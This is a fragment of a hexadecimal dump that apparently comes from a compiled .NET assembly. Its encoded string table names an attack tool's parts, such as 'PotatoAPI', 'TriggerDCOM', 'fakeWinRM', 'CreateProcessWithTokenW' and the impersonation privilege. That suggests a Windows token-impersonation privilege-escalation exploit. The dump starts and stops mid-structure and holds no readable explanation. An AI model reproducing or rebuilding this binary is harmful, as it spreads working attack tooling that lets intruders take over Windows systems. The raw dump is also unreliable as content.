000008618222B01003202A05900000000E101F11906003302D85900000000E101743521003302185C0000000081005E0106003302345C00000000E10952335A0133023C5C00000000E101E03106003302345C00000000E109943330003302445C00000000E101792A6B0C3302985C00000000E101BD2A43003302A05C000000008618222B01003302C05C00000000E101F11906003402FC5C00000000E101743521003402EC5E0000000081005E0106003402085F00000000E10952335A0134023C5C00000000E101E03106003402085F00000000E109943330003402105F00000000E101792A6B0C3402645F00000000E101BD2A430034026C5F000000008618222B10003402805F00000000C4004C1A5E0C35028C5F000000008618222B6A1236029A5F000000008618222B78123A02BE5F00000000C4004C1A5E0C3F02D15F000000008618222B9A024002F15F00000000C4004C1A5E0C43021060000000008618222BB8024402306000000000C4004C1A5E0C47026160000000008618222B871248028560000000008600551187124902986000000000E601DC2A6B0C4A02A76000000000E101BD2A43004A02AF60000000009118282BD00C4A025820000000008618222B06004A02BB600000000083001900F2014A025820000000008618222B06004B02BE60000000008300840090124B025820000000008618222B06004C02D260000000008300840090124C02ED60000000008618222B01004D020C6100000000E101F11906004E029C6100000000E101743521004E0280630000000081005E0106004E029C63000000008100910206004E02B663000000008100F90206004E02D36300000000E10952335A014E023C5C00000000E101E03106004E02D36300000000E109943330004E02DC6300000000E101792A6B0C4E02306400000000E101BD2A43004E025820000000008618222B06004E0238640000000083008E00C10F4E025164000000009118282BD00C4F025820000000008618222B06004F025D640000000083000A0096124F027364000000008618222BAA1251029064000000008618222BB1125402E464000000008600B62D890555026365000000008618222BB81255027C65000000008618222BB1125702CC65000000008300B62D890558022866000000008618222BBF1258027466000000008618222BB1125A02AC66000000008300561DC9125B02FB66000000008618222BD0125C023067000000008618222BB11262029467000000008300561DC91263025820000000008618222B06006402F167000000008618222B010064021D68000000008618222B540565025368000000008618222BDE126602896800000000E601041A06006802B468000000008600B62D89056802EC68000000008618222B010068023869000000008618222B54056902846900000000E601041A06006A02DB69000000008600DA28E7126A025820000000008618222B06006A025820000000008618222B06006A025820000000008618222B06006A02146A000000008618222B01006A02215800000000E101F11906006B02246A00000000E101743521006B02BB6A00000000E10952335A016B023C5C00000000E101E03106006B02BB6A00000000E109943330006B0200000100861300000100681E000002004C2E00000100681E000002004C2E00000100681E000002004C2E000001004B2E00000200A61F000003006612000001003B1000000100DC34000002000F2000000300FC26000001003B10000001001B3700000200B63600000100A82200000100A822000001001B3700000200AB3600000100A82200000100501D00000100501D00000100501D00000100B63600000200501D00000100501D00000100B63600000100B63600000100B63600000200501D00000100A82200000100B63600000200A82200000100B63600000100B63600000100B63600000100B63600000200501D00000100233200000100501D00000100501D00000100501D00000100781900000200FC2600000100781900000200FC2600000300283400000100781900000200FC2600000300283400000400EB2200000100501D000002003B10000001002B18000002002C1400000300452F000001003B10000001003B10000001003B1000000100501D020002008932000001000C1700000100AC2800000100AC2800000200EB1900000100501D02000200893200000100BA1500000200D21700000100BA1500000200D21700000300882600000100BE27000002000B3600000100BE27000002000B36000001007B31000002004A1400000100453700000200501D00000100453700000200501D000003003120000004007B3100000100823200000100002A00000100501D00000100A82200000100082700000100B63600000200A82200000100B63600000100B63600000200A82200000100082700000100A02800000100082700000100781900000200BC2400000100781900000200FC2600000300BC2400000100781900000200FC2600000300BC2400000400EB2200000100781900000200BC2400000100781900000200FC2600000300BC2400000100781900000200FC2600000300BC2400000400EB2200000100781900000200BC2400000100781900000200FC2600000300BC2400000100781900000200BC2400000100781900000200FC2600000300BC2400000100E61400000100DF3000000100681400000200E43200000100830F000002005F1E000003003B1000000400E43200000100E43202000200821E020003002B1802000400E72702000500501D00000100E432000002003B10000001000827000002003B10000001000827000002003B27000003003B1000000100741E000002003B27000003003B10000001003B10000002002B1800000300501D00000400082700000100D72700000100D727000002003B1000000300691700000100D72700000200501D00000300C73600000400C61F00000500911F00000100D727000002003628000003009D2300000100A52C00000200212000000100D727000002003B2700000300083100000100B63600000200A23600000300FC2600000100FC2600000100FC2600000200C61F00000300911F00000100501D00000100501D00000100501D000001002B18101002000C28000001002B1800000100DF30000001001C1410100200691710100300EB22000001003B1000000100C72B000002006614000001003B1000000100C72B00000200002A00000100B63600000200A82200000100A82200000100B63600000200A822000001008D1A10100200002A000001008D1A000002006D35000003003D2A10100400002A00000100A82200000100501D00000100501D00000100A02800000100082700000100781900000200BC2400000100781900000200FC2600000300BC2400000100781900000200FC2600000300BC2400000400EB2200000100781900000200BC2400000100781900000200FC2600000300BC2400000100781900000200FC2600000300BC2400000400EB2200000100781900000200BC2400000100781900000200FC2600000300BC2400000100781900000200BC2400000100781900000200FC2600000300BC2400000100E61400000100AC2B00000100501D10100100C73600000100543502000200293500000100DF3000000100830F00000100830F00000100830F00000100243600000100DF3000000100C72B00000200B52900000300501D00000100F613000001005E32022002006332020003007011000001005E32002000000000000001000F3200000200233600000300CC0F02000400A010000001000F3200000200233600000300CC0F02000400922300000100CC0F00000100053200000200CC0F00000300001900000100053200000200CC0F00000300001902000100621F00000200761E01000100611201000200233601000300DA3501000400CC3501000500C40D02000600581201000100611201000200233601000300DA3501000400CC3501000500C40D02000600F01D01200100CA2201000200611201000300233601000400DA3501000500CC3501000600C40D01200100CA2201000200611202000300223601200100CA2201000100E41101200100EE1701000200041501000300480101000400700202200500C92201200100EE1701000200480101000300041501000400700202200500C92201200100EE17010002000415010003004801010004007002022005005C1F01200100EE1701200200FC3701000300041501000400431501000500EF11022006005C1F010001004E15012002005A15010003004315012004001B3501200100EE17012002001B3501200300071801000400FC2D01000100222E01000100480101000200700201000300D80202200400CF2201200100EE1701200100381701200200071801200100EE17012002003718012003003018012004003E18010001008312010001008B30010002005F2002200100621F01000200761E02200100233600000200CC0F02000300A01000200100233600000200CC0F02000300922300000100631D00000200B423020003004C2500000100091E00000100CA2200000200CC0F02000300A01002000400922300000100222E00000100053200000200CC0F00000300001900000100053200000200CC0F00000300001902000100621F00000200761E02000100C92200000100501D00000100501D00000100932D000001009D2D00000100932D00000100951200000200501E000001006A2D00000100691F00000100A12000200200CF19020003001336000001001B3600000200041500000300EF1102000400812300000100B22700000200821200200300AB2900000400CE36000005005D1F00000600442803000700A530000001008E1000000200163500000300820B00000100D93100000100C82D00000100C82D000001008718000002009C18000003000A2D00000400EA1D00000100EA1600000200E72800000300A81000000400BD1000000500871100000100623100000200672000000300312E00000100243500000200141E00000100242300000200052E000003009117000004004E1800000500122E00000600C53200000700C637010008009927020009003D24000001002423000002009117000003004E18000004002D2D00000500F72C00000600822C00000700122E00000800C53200000900C63700000A00992702000B003D24000001000B1100000200F91400000100CE16000002002732002000000000000001001C18000002002918002003008E1200200000000000000100D51600200200442C002003003D1A00000400092000000500241A00000600FC1F002000000000000001009E1600000200F92F02000300711600000100152300000200F72F000003001B2D000004000A21000005001819020006007623000001007D1600000200242300200000000000000100623102000100C532000002002423000003005532000001001838000001001838000001003D2F000001000E3600000100861300000100C82000000200671500000300C01900000400280600000500A10F00000600D62200000700D33200000800B22000000900A53700000100B22000000200A335000003004D3500000400382800000500D92700000600E83502000700653502000800792B00000900112800000100A33502000200242300000100A61500000200D41E00000300A72100000100E41100000100611200000200233600000300DA3500000400CC3500000500C40D02000600F01D00000100611200000200233600000300DA3500000400CC3500000500C40D02000600581200000100CA2200000200611200000300233600000400DA3500000500CC3500000600C40D00000100CA2200000100CA2200000200611202000300223600000100222E000001004E15000002005A15000003004315000004001B3500000100EE17000002000415000003004801000004007002020005005C1F00000100EE1700000200041500000300480100000400700202000500C92200000100EE1700000100480100000200700200000300D80202000400CF2200000100EE17000002001B3500000300071800000400FC2D00000100EE1700000200FC3700000300041500000400431500000500EF11020006005C1F00000100EE1700000200480100000300041500000400700202000500C92200000100381700000200071800000100831200000100EE17000002003718000003003018000004003E18000001008B30000002005F2000000100621F00000200761E00000100321A00000100321A00000100FC26000001003B1000000100781900000200FC2600000300363400000400BC2400000100781900000200FC2600000300363400000400BC2400000500EB22000001003B1000000100781900000200FC2600000300BC24000001003B1000000100781900000200FC2600000300BC24000001003B1000000100DF3000000100DF3000000100741E00000100243600000100243600000100321A000001003B1000000100D536000002003338000001002B1000000200F70F00000300831700000100612800000100420600000200573000000100612800000100A61E00000200C41E00000100612800000100263600000100392E00000200F12D000003009F12000004007912000005007D1200000600033700000100612800000100263600000100F61D00000100A72D00000100A72D00000200301900000100F61D00000100A72D00000100321A040079000400710004006500040012000400160004000E00210054002100580023000E002300650023000A0023005D002300610024000E002400650024000A0024005D002400610029000E00290065002D000E002D0065002D000A002D005D002D00610044005D0045005D004A000A004A005D004A0061000900222B01001100222B06001900222B0A002900222B10003100222B10003900222B10004100222B10004900222B10005100222B10005900222B10006100222B15006900222B10007100222B10008100222B06009100222B0600B100222B0600B900041A0600C100743521001400B3332B00C100FF310600C100B33330001C00DC2A3A00C900DC2A4300D100222B0600D900222B1000E1006A274800E10045122100E10083343000F10055114F00F100872E5400F100391E4F00F100FB345900F100851D5F00F10032310100F100DA1D2100F10051226400F100732259005101222B76008901222B1000D101222B8F00D101222B9600E101222B06000902222B06007900222B06005102222B10004400231D21004400DE1C2B004400222BB1004C00B3332B005902DE1FBD0059024231C1006902222BC80071023832D1007902A523DC005902521FE20059025D2EE8005902552FED005400222B060054005511B1005400482806005400872EF90054006A27FF005400851DF9005400FD33BD005400DC2A07015400391E18015400FB341E015400323101008102222B10006902222B10000C0004162501590242312C01540051223201540073221E015400222B38015400133742015902BD2348018902222BC8005902483253017900ED14BD0061023F1F5A0159023B315E01E900391E6401E9007818300019015F1689011901F01821001901B91821001901172521001901332592011901BE30980199029E299F01A1022D1FA801A9022F175A0159024231AD0159027937C2012C005511B10071023F1F5A01B1028935CF0159022738D60159021620E8005902521FDB012101222B06002101222B10002101222BE0012101222BE8013901481FF2012101BE0FE8013901E81CF7017400222B06008101222B10003400222B06007C00222B0D020C00222B170234005122250134009D2222028400642E37028C005122320134007C2201003400963747029400851DF9003400952222025400222B0100940055116D025C00B3332B005C007435210084005511B1009C00222B1702A400222B9A02AC00222BB80274005511B1003400872EF9005902E237DE027400DC2A0701B400B3332B00B4007435210081016B1F0303D10207302100A9014A2F0A03D90251221003E102DE1C5A0159023B31220359023B3129035902483236035902EE37DE0279003F1F5A018400DC2A3A00BC00B3332B005902222B7803B101691A1000B1015C180600B1015C18100081016F2C9F033902DC2A4300F102A319A70361023F1FAD0359022F38CE003101222B010031012914BD0331012914C40371028F14D303C4000416B1000103222B100009033B35F7030903292AF7033C00222B0600CC005511B100D400222B0600D4005511B100D400DC2A0701DC00B3332B00DC007435210071028F14D1005902BD225A01E400222B17023C00872EF9003C00512225015400DB154A04EC00222B1702D400351468045400D2153801F400222B1702FC001135B604FC00DC2A07010401B3332B000C0126372B000C01DE1CD804040174352100FC00222B0600CC00DC2A3A001401B3332B000C01222B6D02FC005511B10059023B3119051903C327310509035C1834052103222B5405290337155A05F901222B6005F9018B016A053903222B1000F901602D6E05E901222B54052103222B06000102222B7D050102691A8405E901D73689050102691A54050102CF218E0521031337890541030B229805410384379D05E901222B10002902222BA6055103222B17021902222BAE051902D634060031025B1DBE052903990A5A052903481FC40581016F2CCA053902FD33BD0039025122D1053102222BE3053102B525F00589033A20FB059103222B000631023014080631028B2301002902CE312100310294210F06310290341706A903001F1D06A903111F23062903B62D290631022414BE053102E0190600310282310806E900843743062101AE155A0109035C184C061901FB056306B103AB146C060903691A3405B903E3367A06E90084378A0611017D11B206C903222BBA064103172AC3064102222B06008102222BE00119039601BD0059024231C7061903EE37D106D103DA23DA06D903E823E006E1030D2ABD00E9036618E606F1032E37EB06F103301DA801F9030C1AF2060104222BFD064902222B060711047E180E071904B434140721042C321B074902201F22071904293614071904951306004103191E4C074103191E5307290369325A0521019C145A01D901EE17CE0019022A115E0719023D10BD001C01DC2A3A000103222B06003101222B06003101DE1FBD003101E91F0100290145185A012901041A06009C000416B1002401BC2490072C010416B1003401BC24B0073C0104166D024401222B060044015511B100E4000416B1004C0104166D0259021620E40759028219F207F901B6030008F9014E2804080102222B60050102691A0E080102691A1308F90107031F080102691A290841036E20980541037B202E084103843738084103632B41084103941948081903E237D1063104222B10004401FD33BD00440151223201440132310100080024006508080028006A0808002C006F0808006400740808006800790808006C007E080800BC0083080800C00088080700DC008D080700E00090080700E40093080700E80096080700EC0099080700F0009C080700F4009F080700F800A2080700FC00A50807000001A80807000401AB0807000801AE0807000C01B10807001001B40807001401B70807001801BA0807001C01BD0807002001C00807002401C30807002801C60807002C01C90807003001CC0807003401CF0807003801D20807003C01D50807004001D80809004401DB0808005C016508080060016A08080064016F080800EC01E0080800F001E5080800F40165080800F801EA080800FC01E00808000C02EF08080010026508080014026F0808001802F40808001C026A0808002002F9081200DD0265081200ED0265080900F0026A080200F102F6090900F4026F080900F802FE080B00200303090B0024030C09120025036508120035036508090044036A08090048036F0809004C03FE0809005003EF0809005403F40809005803150909005C031A0909006003E508090064038308090068031F0909006C032409090070038808090074032909090078032E0909007C033309090080033809090084033D0909008803420909008C034709090090034C0909009403510909009803560909009C035B090800A40365080800A8033D090800AC0360090800B00365080800B4036A080800B8036F080800BC031A090800C00365090800C40315090800C803F4081200C90365080800CC0347090800D0036A090800D4036F090800D80329090800DC0342090800E00365080800E40374090800E803790908000C046508080010046A08080014046F08080018045109080020046A08080024046F08080098046A0808009C046F080800A4046A090800A804EF080800AC04F4080800B0041F090800B40488080800B804FE080800BC0424090800C0044C090800C80465080800CC046A080800D0046F080800D40451090800D804FE080800DC047E090800E00483090800E40488090800E804EF080800EC048D090800F00492090800F40497090800F8049C090800FC04A10908000005A60908000405AB0908000805F40808000C05B00908001005B50908001405BA0908001805BF0908001C05560908002005C409080024055B0908002805C90908002C05CE0908003005D30908003405D80908003805DD0908003C05740808004005E20908004405E70908004805150908004C05EC0908005005F10908006405650808006805650808006C056A08080070056F08200073006A082E000B0059132E00130062132E001B0081132E0023008A132E002B009B132E0033009B132E003B009B132E0043008A132E004B00A1132E0053009B132E005B009B132E006300B9132E006B00E31364007B006A088300CB001614630263002014630243014A1483025B009B13830243014A14830263005314A30263007D14A3024B01A714A30253016A08C3024B01A714C30253016A08C3026300AE14E3026300D814E30243014A14C10383006A08E10383006A08010483006A08210483006A0823045B000215410483006A08430483006A08610483006A08630483006A08810483006A08830483006A08430583006A08630583006A08830583006A08A30583006A08C30583006A08E30583006A0803065B016A08810683006A08A10683006A08A3065B016A08C3065B016A08430983006A08000C3B01F013C01083006A08E01083006A08001183006A08201183006A08401183006A08601183006A08801183006A08A01183006A08201283006A08401283006A08401783006A08601D83006A08801D83006A08A01D83006A08C01D83006A084027C3006A086027C3006A08C027C3006A08E027C3006A080028C3006A082028C3006A084028C3006A086028C3006A088028C3006A08E028C3006A080029C3006A082029C3006A084029C3006A086029C3006A08002CC3006A08202CC3006A08C02CC3006A08E02CC3006A08002DC3006A08202DC3006A08402DC3006A082031C3006A084031C3006A088031C3006A08A031C3006A08C031C3006A08F8019E0AFE01A00A0102A20A07029E0A43029E0A4F029E0A55029E0A5902A00A61029E0A6302A00A6B029E0A6D02A00A75029E0A7702A00A79029E0A81029E0A8502A50A89029E0A8B02A00A8D029E0A8F02A00A9B029E0A9D02A00A9F02A00AA102A00AA302A00AA502A20AA702A20AA902A20AB102A20AB502A90ABB02A90AF902AD0A0903AF0A6B03AD0A7103B10A7303AD0A7703AD0A7903B10A8103AD0A9903AD0A06005501F80908000000000046000800000000004700080000000000480001000700000049009B00A300CE00D6004F017501B501C8011D0229025C0275028502C602E402FC0217032F034103480356037E0382038C039403B403CB03D903F10305041A042D04450450047404DD04050521052705390542054E0574059405B505D8052F065206730683069506D706F7062A0758076407730779078207DA07EC07FB0708081808230833085008040001000500080007000D0008001400090015000A0016000C0017000D0019000E001E0011002000180025001D0028002300290024002B002D002D004A002F000000F811ED1200003C34F11200003034F51200005B37ED1200009C1DED1200001A22F9120000A322FE120000BE2503130000C717081300009636F5120000C8310C130000D22D111300006E1908130000F02608130000E018161300001A34F5120000E422ED1200009F2C1B130000C12F1B130000F02608130000F02608130000C71708130000EF29201300001D2C291300001718081300000728081300001D2F0C1300002C2733130000A831401300001414451300005D17081300001D2F0C130000871A081300003F354A130000372A4A130000EF2920130000CB11ED1200007B2350130000EB15541300007B2350130000ED32081300002B33F1120000ED32081300002B33F1120000ED32081300002B33F1120000ED32081300002B33F11202000B00030002000C00050002001200070002001300090002001C000B0002001D000D0001001E000D00020023000F00010024000F0002002900110001002A00110002002B00130001002C00130002002D00150001002E00150002002F001700020030001900020034001B00020035001D00020036001F0002003700210002003800230002003C00250002003D00270002004700290002004D002B00020054002D0002005C002F0001005D002F0002005E00310002008600330002008700350002008800370001008900370002008A00390001008B00390002008C003B0001008D003B00020091003D00020092003F0002009B00410002009E00430002009F0045000200A00047000200A10049000200EB004B000100EC004B000200ED004D000100EE004D000200EF004F000200FC00510002003E015300020040015500020047015700020049015900020066015B00020068015D0002008C015F0002008E016100040014003500040016003700040018003900040028002F0004002C003B0004002E003D00040030003F0004003200410004003400430004003600450004003800470004003A00490004003C004B0023007602230023007802250023007C02270023007E022900230080022B00230082022D00230084022F0024008802230024008A02250024008E022700240090022900240092022B00240094022D00240096022F002900B0022F002D00C20223002D00C40225002D00CC0227002D00CE0229002D00D0022B002D00D2022D002D00D4022F004A00140323004A00160325004A00180327004A001A0329004A001C032B002F2153214621720139217C21882160211A002500340069006F007D008600AB00B700F200110172018601FD0105022F02400253027D029202AE02F4027103E603FD03120425043E0460049A04A804C104CF04FE046D0788079E07A607BF07C807D3070101F101872001000101F301762D01000101F5017215010040010D029118020040010F02E1160200400111022824020000011302B837030044011502AC0E040044011702C40E050000011902FB10020000011B027110020040011D024E31060044011F02031D050044012102592C0500400123023E230500460125024C3605004001270206230500400129022C30020046012B025316020040012D0243200700400141028516080040014302F5350800400145025C230800A01F01008C00048000000100000000000000000000000000560B00000200000000000000000000005C08CF0F000000000200000000000000000000005C08890F000000000200000000000000000000005C08B62200000000230003002400080025000C0026000C0027000C0028000C0029000C002A000C002B000C002C000C002D0011002E0011002F00120030001A0031001A0032001A0033001A0034001A0035001B0036001B0037001B0038001B0039001E003A001E003B001E003C001E003D001E003E001E003F001E0040001E0041001E0042001E00430020004400200045002000460020004700200048002000490022004A0029000000000016002137010000001600D71C000000004E00990E0000000050002137010000005000D71C000000007700990E00000000DB00990E00000000DD00990E00000000DF00213701000000DF00D71C00000000E100213701000000E100D71C000000005B01990E000000005D01990E000000005F012137010000005F01D71C0000000061012137010000006101D71CA7006E01DC008D02E000A702DE00A702760099077600BA0700000000003C3E395F5F315F30003C496E766F6B653E625F5F315F30003C2E63746F723E625F5F315F30003C3E635F5F446973706C6179436C61737332325F30003C3E635F5F446973706C6179436C61737334325F30003C3E635F5F446973706C6179436C61737332355F30003C52756E3E625F5F33395F3000574149545F4F424A4543545F30003C4164643E625F5F30003C5472794765744E6573746564436F6D6D616E643E625F5F3000434C534354585F524553455256454431004E756C6C61626C6560310049456E756D657261626C65603100507265646963617465603100416374696F6E60310049436F6C6C656374696F6E603100526561644F6E6C79436F6C6C656374696F6E603100416374696F6E4F7074696F6E603100436F6D70617269736F6E60310049456E756D657261746F72603100494C6973746031006477526573657276656431007265736572766564310048616E646C655479706531003C3E6D5F5F46696E616C6C7931004F6C653332006164766170693332004D6963726F736F66742E57696E3332005265616455496E74333200546F496E74333200434C534354585F524553455256454432003C6172673E355F5F32003C657769647468733E355F5F32003C726573743E355F5F32003C437265617465577261707065644C696E65734974657261746F723E645F5F32004F7074696F6E416374696F6E6032004B65796564436F6C6C656374696F6E603200416374696F6E4F7074696F6E603200436F6E7665727465726032004B657956616C7565506169726032004944696374696F6E6172796032006362526573657276656432006C70526573657276656432006477526573657276656432007265736572766564320048616E646C655479706532003C3E375F5F7772617032003C3E6D5F5F46696E616C6C793200434C534354585F524553455256454433003C6C696E653E355F5F33003C68773E355F5F33003C476574456E756D657261746F723E645F5F33007265736572766564330048616E646C655479706533003C3E375F5F7772617033003C3E6D5F5F46696E616C6C7933005265616455496E74363400434C534354585F5245534552564544340045504D5F50524F544F434F4C5F4F53495F545034003C77696474683E355F5F34003C743E355F5F3400434C534354585F524553455256454435003C656E643E355F5F35003C693E355F5F35003C7375627365743E355F5F35003C3E375F5F777261703500434C534354585F494E50524F435F48414E444C4552313600434C534354585F494E50524F435F5345525645523136005265616455496E743136003C656E64436F7272656374696F6E3E355F5F36003C476574436F6D706C6574696F6E733E645F5F3337005F5F5374617469634172726179496E69745479706553697A653D37003C633E355F5F37003C476574417267756D656E74733E645F5F370038304246424131453830314138323833344542433442343545333134313739324146373735373344434141313241303232323741314136444134334646373739003C3E39003C4D6F64756C653E003C50726976617465496D706C656D656E746174696F6E44657461696C733E00434C534354585F454E41424C455F41414100434C534354585F44495341424C455F414141005345434255464645525F444154410045504D5F50524F544F434F4C5F534D4200434C534354585F494E50524F430045504D5F50524F544F434F4C5F56494E45535F4950430045504D5F50524F544F434F4C5F4E43414C52504300544F4B454E5F52454144005354414E444152445F5249474854535F524541440053484152455F44454E595F5245414400434C534354585F454E41424C455F434F44455F444F574E4C4F414400434C534354585F4E4F5F434F44455F444F574E4C4F41440053455F50524956494C4547455F454E41424C454400574149545F4641494C454400574149545F4142414E444F4E4544005354414E444152445F5249474854535F5245515549524544005452414E534143544544004D4158494D554D5F414C4C4F574544007049494400544F4B454E5F41444A5553545F53455353494F4E4944004F49440049504944004765745479706546726F6D434C534944004C5549440045504D5F50524F544F434F4C5F55554944004F584944005041757468656E7469636174696F6E494400546F776572494400746F776572494400534543504B475F435245445F494E424F554E4400534543504B475F435245445F4F5554424F554E4400544F4B454E5F51554552595F534F55524345004352454154455F4E45575F434F4E534F4C450053494D504C450053455F494E4352454153455F51554F54415F4E414D450053455F5443425F4E414D450053455F4352454154455F5041474546494C455F4E414D450053455F53595354454D5F50524F46494C455F4E414D450053455F53595354454D54494D455F4E414D450053455F4D414E4147455F564F4C554D455F4E414D450053455F54494D455F5A4F4E455F4E414D450053455F524553544F52455F4E414D450053455F494D504552534F4E4154455F4E414D450053455F44454255475F4E414D450053455F554E444F434B5F4E414D450053455F4352454154455F53594D424F4C49435F4C494E4B5F4E414D450053455F4352454154455F474C4F42414C5F4E414D450053455F52454C4142454C5F4E414D450053455F41535349474E5052494D415259544F4B454E5F4E414D450053455F4352454154455F544F4B454E5F4E414D450053455F454E41424C455F44454C45474154494F4E5F4E414D450053455F53485554444F574E5F4E414D450053455F52454D4F54455F53485554444F574E5F4E414D450053455F54414B455F4F574E4552534849505F4E414D450053455F4241434B55505F4E414D450053455F4C4F41445F4452495645525F4E414D450053455F545255535445445F435245444D414E5F4143434553535F4E414D450053455F50524F465F53494E474C455F50524F434553535F4E414D450053455F494E435F574F524B494E475F5345545F4E414D450053455F41554449545F4E414D450053455F53594E435F4147454E545F4E414D450053455F53595354454D5F454E5649524F4E4D454E545F4E414D450053455F4352454154455F5045524D414E454E545F4E414D450053455F4D414348494E455F4143434F554E545F4E414D450053455F554E534F4C4943495445445F494E5055545F4E414D450053455F4348414E47455F4E4F544946595F4E414D450053455F4C4F434B5F4D454D4F52595F4E414D450053455F494E435F424153455F5052494F524954595F4E414D450053455F53454355524954595F4E414D450046494C4554494D450053484152455F44454E595F4E4F4E450045504D5F50524F544F434F4C5F4E414D45445F5049504500544F4B454E5F54595045004641494C494654484552450044454C4554454F4E52454C4541534500544F4B454E5F4455504C49434154450043524541544500544F4B454E5F494D504552534F4E41544500494E46494E495445005245414457524954450053484152455F44454E595F57524954450053484152455F4558434C55534956450042554653495A45004D41585F544F4B454E5F53495A450045504D5F50524F544F434F4C5F4E4341444700434C534354585F4E4F5F4641494C5552455F4C4F470049456E756D53544154535447004E4F53435241544348006765745F415343494900506F7461746F415049004D554C54495F51490045504D5F50524F544F434F4C5F4E4554424555490045504D5F50524F544F434F4C5F4150504C4554414C4B0045504D5F50524F544F434F4C5F53545245455454414C4B005345435F455F4F4B00434C534354585F4E4F5F435553544F4D5F4D41525348414C0053454355524954595F494D504552534F4E4154494F4E5F4C4556454C00434C534354585F414C4C0045504D5F50524F544F434F4C5F4E554C4C00506F7461746F496E53514C005365706172617465574F5756444D005354474D005472696767657244434F4D0066616B6557696E524D0045504D5F50524F544F434F4C5F4E4341434E005345434255464645525F544F4B454E005345434255464645525F56455253494F4E0050524F434553535F494E464F524D4154494F4E004153435F5245515F434F4E4E454354494F4E0053544152545550494E464F00434F534552564552494E464F0053797374656D2E494F0045504D5F50524F544F434F4C5F5443500045504D5F50524F544F434F4C5F4444500045504D5F50524F544F434F4C5F5544500053454355524954595F4E41544956455F445245500045504D5F50524F544F434F4C5F49500045504D5F50524F544F434F4C5F56494E45535F5350500045504D5F50524F544F434F4C5F4453500045504D5F50524F544F434F4C5F444E45545F4E53500045504D5F50524F544F434F4C5F4854545000434C534354585F494E50524F435F48414E444C455200434C534354585F494E50524F435F53455256455200434C534354585F52454D4F54455F53455256455200434C534354585F4C4F43414C5F53455256455200434C534354585F41435449564154455F33325F4249545F53455256455200434C534354585F41435449564154455F36345F4249545F53455256455200434C534354585F534552564552004449524543545F53574D520045504D5F50524F544F434F4C5F554E49585F445300544F4B454E5F50524956494C4547455300544F4B454E5F41444A5553545F50524956494C45474553005354415254465F55534553544448414E444C45530053454355524954595F41545452494255544553004D53484C464C4147530045504D5F50524F544F434F4C5F4F53495F434C4E530045504D5F50524F544F434F4C5F4E455442494F5300544F4B454E5F41444A5553545F47524F55505300544F4B454E5F414C4C5F4143434553530044455441434845445F50524F43455353004449524543540048414E444C455F464C41475F494E484552495400544F4B454E5F41444A5553545F44454641554C54004E4F534E415053484F5400434F4E5645525400574149545F54494D454F555400434C534354585F46524F4D5F44454641554C545F434F4E54455854004352454154455F4E4F5F57494E444F570043726561746550726F6365737357697468546F6B656E570043726561746550726F63657373417355736572570045504D5F50524F544F434F4C5F4E425F4950580045504D5F50524F544F434F4C5F4950580045504D5F50524F544F434F4C5F53505800434C534354580064775800544F4B454E5F41535349474E5F5052494D41525900544F4B454E5F5155455259004153435F5245515F414C4C4F434154455F4D454D4F5259005052494F52495459005345434255464645525F454D505459006477590076616C75655F5F00537472696E67436F64610065787472610053797374656D2E446174610053716C4D65746144617461007041757468446174610052656C656173654D61727368616C44617461004765744F626A65637444617461006362006D73636F726C6962003C3E630053797374656D2E436F6C6C656374696F6E732E47656E6572696300617574687A536E630053656342756666657244657363007365635365727665724275666665724465736300417574686E53766300617574686E53766300417574687A537663006765745F4D616E616765645468726561644964003C3E6C5F5F696E697469616C5468726561644964006477546872656164496400575453476574416374697665436F6E736F6C6553657373696F6E496400636C73496400647750726F6365737349640070636252656164006E4E756D6265724F664279746573546F52656164006C704E756D6265724F6642797465735265616400647752656164006572725F72656164006F75745F7265616400537461727457696E524D546872656164005465726D696E6174655468726561640068546872656164005374617274434F4D4C697374656E6572546872656164006765745F43757272656E745468726561640053797374656D2E436F6C6C656374696F6E732E494C6973742E41646400416C726561647941646465640053757370656E646564007063656C7446657463686564004973446566696E6564006C704F7665726C617070656400684372656400497342495453526571756972656400556E70726F636573736564006765745F41757468656E74696361746564007365745F41757468656E74696361746564006C70526573657276656400647752657365727665640072657365727665640053797374656D2E436F6C6C656374696F6E732E49436F6C6C656374696F6E2E497353796E6368726F6E697A65640053797374656D2E436F6C6C656374696F6E732E49436F6C6C656374696F6E2E6765745F497353796E6368726F6E697A65640070436964004F69640072696964006556616C69640041737365727456616C6964006F696400697069640070636C7369640047756964006C704C7569640067756964004F786964006F786964003C41757468656E746963617465643E6B5F5F4261636B696E674669656C64003C436F6D6D616E643E6B5F5F4261636B696E674669656C64003C4E616D653E6B5F5F4261636B696E674669656C64003C436F6D6D616E644E616D653E6B5F5F4261636B696E674669656C64003C546F6B656E3E6B5F5F4261636B696E674669656C64003C52756E3E6B5F5F4261636B696E674669656C64003C48656C703E6B5F5F4261636B696E674669656C64003C4F7074696F6E733E6B5F5F4261636B696E674669656C64003C436F6D6D616E645365743E6B5F5F4261636B696E674669656C6400636D64004765744C696E65456E640053656E64526573756C7473456E64006765745F436F6D6D616E6400416464436F6D6D616E64005472794765744E6573746564436F6D6D616E64005472794765744C6F63616C436F6D6D616E64005772697465556E6B6E6F776E436F6D6D616E6400756E6B6E6F776E436F6D6D616E640048656C70436F6D6D616E6400476574436F6D6D616E6400636F6D6D616E640053656E6400417070656E640042696E640046696E6400457865637574696F6E4D6574686F64006D6574686F64005374616E646172640053716C446174615265636F7264006165004D61727368616C496E7465726661636500556E6D61727368616C496E7465726661636500497357686974655370616365006765745F537461636B547261636500437265617465496E7374616E636500416464536F7572636500526573706F6E736546696C65536F7572636500417267756D656E74536F7572636500736F757263650047657448617368436F646500647745786974436F6465006772664D6F64650044656661756C744572726F724D6F64650053656C6563744D6F6465004576656E7452657365744D6F6465006765745F556E69636F646500736E624578636C75646500636969644578636C7564650072676969644578636C7564650070737A5061636B61676500436F476574496E7374616E636546726F6D4953746F726167650043726561746553746F72616765004F70656E53746F726167650073746F72616765006765745F4D657373616765006D65737361676500456E61626C6550726976696C6567650041646452616E67650052656D6F766552616E6765006765745F4368616C6C656E676500456E64496E766F6B6500426567696E496E766F6B650049456E756D657261626C650049446973706F7361626C65004372656448616E646C650052756E74696D654669656C6448616E646C650052756E74696D655479706548616E646C6500436C6F736548616E646C65004765745479706546726F6D48616E646C6500546F6B656E48616E646C65007048616E646C65004163717569726543726564656E7469616C7348616E646C650050726F6365737348616E646C65004576656E745761697448616E646C650062496E686572697448616E646C650043747848616E646C6500746F6B656E68616E646C65005265616446696C65006846696C6500476574417267756D656E747346726F6D46696C65005769746850726F66696C65004973566F6C6174696C65004E6577436F6E736F6C65006C705469746C65006765745F4E616D6500707763734F6C644E616D65006765745F436F6D6D616E644E616D65004E6F726D616C697A65436F6D6D616E644E616D6500636F6D6D616E644E616D65005072696E636970616C4E616D65007072696E63